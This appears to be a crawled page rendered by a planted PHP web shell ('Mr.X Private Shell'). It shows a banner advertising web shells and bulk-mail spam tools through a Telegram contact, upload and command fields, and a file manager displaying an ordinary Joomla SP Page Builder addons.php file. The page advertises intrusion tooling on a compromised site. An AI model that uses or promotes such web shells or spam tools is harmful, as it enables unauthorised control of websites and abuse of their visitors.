__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2023 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */
// No direct access
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Uri\Uri;

/**
 * Addons class
 * 
 * @since 1.0.0
 */
abstract class SppagebuilderAddons
{
	protected $addon = null;

	/**
	 * Constructor function
	 *
	 * @param array $addon
	 * 
	 * @return mixed
	 * @since 1.0.0
	 */
	public function __construct($addon)
	{
		if (!$addon)
		{
			return false;
		}

		$this->addon = $addon;
	}

	/**
	 * Check placeholder file path for each media image
	 * 
	 * @return mixed
	 * 
	 * @since 1.0.0
	 */
	protected function get_image_placeholder($src)
	{
		$config = ComponentHelper::getParams('com_sppagebuilder');
		$lazyload = $config->get('lazyloadimg', '0');

		if ($lazyload)
		{
			$filename   = basename($src);
			$mediaPath  = 'media/com_sppagebuilder/placeholder';
			$basePath   = JPATH_ROOT . '/' . $mediaPath . '/' . $filename;
			$defaultImg = 'https://sppagebuilder.com/addons/image/image1.jpg';

			if (File::exists($basePath))
			{
				return $mediaPath . '/' . $filename;
			}
			elseif ($src == $defaultImg)
			{
				return $src;
			}
			else
			{
				$placeholderUrl = $config->get('lazyplaceholder', '/components/com_sppagebuilder/assets/images/lazyloading-placeholder.svg');

				$pattern = '/^https?:\/\//';
				if(preg_match($pattern, $placeholderUrl))
				{
					return $placeholderUrl;
				}

				return Uri::root(true) . $placeholderUrl;
			}
		}

		return false;
	}

	/**
	 * Get any valid image dimension
	 * 
	 * @return array
	 * 
	 * @since 1.0.0
	 */
	protected function get_image_dimension($src)
	{
		$src = JPATH_BASE . Path::clean($src);

		if (!File::exists($src))
		{
			return [];
		}

		preg_match('/\__(.*?)\./', $src, $match);

		if (count($match) > 1)
		{
			$dimension = explode('x', $match[1]);

			return ['width="' . $dimension[0] . '"', 'height="' . $dimension[1] . '"'];
		}

		$validImageExtensions = ['jpg', 'jpeg', 'png'];
		$extension = strtolower(pathinfo($src, PATHINFO_EXTENSION));

		if (\in_array($extension, $validImageExtensions))
		{
			$dimension = \getimagesize($src);

			if (!empty($dimension))
			{
				return ['width="' . $dimension[0] . '"', 'height="' . $dimension[1] . '"'];
			}
		}

		return [];
	}
}

Filemanager

Name Type Size Permission Actions
addon-parser.php File 32.44 KB 0664
addon-utils.php File 978 B 0664
addons.php File 2.45 KB 0664
css-helper.php File 19.73 KB 0664
helper-base.php File 2.71 KB 0664
lodash.php File 29.47 KB 0664
Filemanager